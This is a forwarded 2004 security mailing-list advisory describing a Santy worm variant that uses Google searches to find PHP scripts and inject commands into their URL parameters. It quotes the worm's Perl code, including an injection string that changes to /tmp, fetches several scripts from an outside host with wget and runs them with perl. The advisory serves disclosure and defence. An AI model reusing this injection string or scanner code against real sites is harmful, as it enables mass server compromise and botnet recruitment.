New Santy-Worm attacks *all* PHP-skripts (fwd)

[Pekka Savola <pekkas@xxxxxxxxxx>]

FYI --

I noticed this at one site.  AFAIK, turning off register_globals 
mitigates this a bit.  Unfortunately it was on by default in the 
earlier versions of php..

Not sure what we should do (if anything).

---------- Forwarded message ----------
Date: Sat, 25 Dec 2004 18:12:21 +0100 (CET)
From: Juergen Schmidt <ju@xxxxxxxxx>
To: full-disclosure@xxxxxxxxxxxxxxxx, bugtraq@xxxxxxxxxxxxxxxxx
Subject: New Santy-Worm attacks *all* PHP-skripts

Hello,

the new santy version not only attacks phpBB.

It uses the brasilian Google site to find all kinds of PHP skripts.
It parses their URLs and overwrites variables with strings like:

'http://www.visualcoders.net/spy.gif?&cmd=cd /tmp;wget
www.visualcoders.net/spybot.txt;...

Often enough this leads to download and execution of code.
On success the worm connects to an IRC server, where already more than 700
zombies are waiting for commands.

The relevant code:
---------
$procura = 'inurl:*.php?*=' . $numr;

for($n=0;$n<900;$n += 10){
$sock = IO::Socket::INET->new(PeerAddr => "www.google.com.br", PeerPort =>
80, Proto => "tcp") or next;
print $sock "GET /search?q=$procura&start=$n HTTP/1.0\n\n";
...

$lista1 = 'http://www.visualcoders.net/spy.gif?&cmd=cd /tmp;wget
www.visualcoders.net/spybot.txt;wget www.visualcoders.net/worm1.txt;wget
www.visualcod
ers.net/php.txt;wget www.visualcoders.net/ownz.txt;wget
www.visualcoders.net/zone.txt;perl spybot.txt;perl worm1.txt;perl
ownz.txt;perl php.txt';
$t =0;
$y =0;
@ja;
open(opa,"<$caxe") or die "nao deu pra abrir o arquivo caxe.txt";
while (<opa>)
{
 $ja[$t] = $_;
 chomp $ja[$t];
 $t++;
 $y++;
}
close(opa);
$t=1;
while ($t < $y)
   {
    if ($ja[$t] =~/=/)
      {
       $num = rindex $ja[$t], '=';
       $num += 1;
       $ja[$t] = substr($ja[$t],0,$num);
            open (jaera,">>$caxe1") or die "nao deu pra abrir ou criar
caxe1.txt";
            print jaera "$ja[$t]$lista1\n";
            close(jaera);
        $num = index $ja[$t], '=';
        $num += 1;
        $ja[$t] = substr($ja[$t],0,$num);
        $num1 = rindex $ja[$t], '.';
        $subproc = substr($ja[$t],$num1,$num);

            open (jaera,">>$caxe1") or die "nao deu pra abrir ou criar
caxe1.txt";
            print jaera "$ja[$t]$lista1\n";
            close(jaera);
      }
     $t++;
     }


bye, ju

--
Juergen Schmidt       Chefredakteur  heise Security     www.heisec.de
Heise Zeitschriften Verlag,    Helstorferstr. 7,       D-30625 Hannover
Tel. +49 511 5352 300      FAX +49 511 5352 417       EMail ju@xxxxxxxxx
GPG-Key: 0x38EA4970,  5D7B 476D 84D5 94FF E7C5  67BE F895 0A18 38EA 4970

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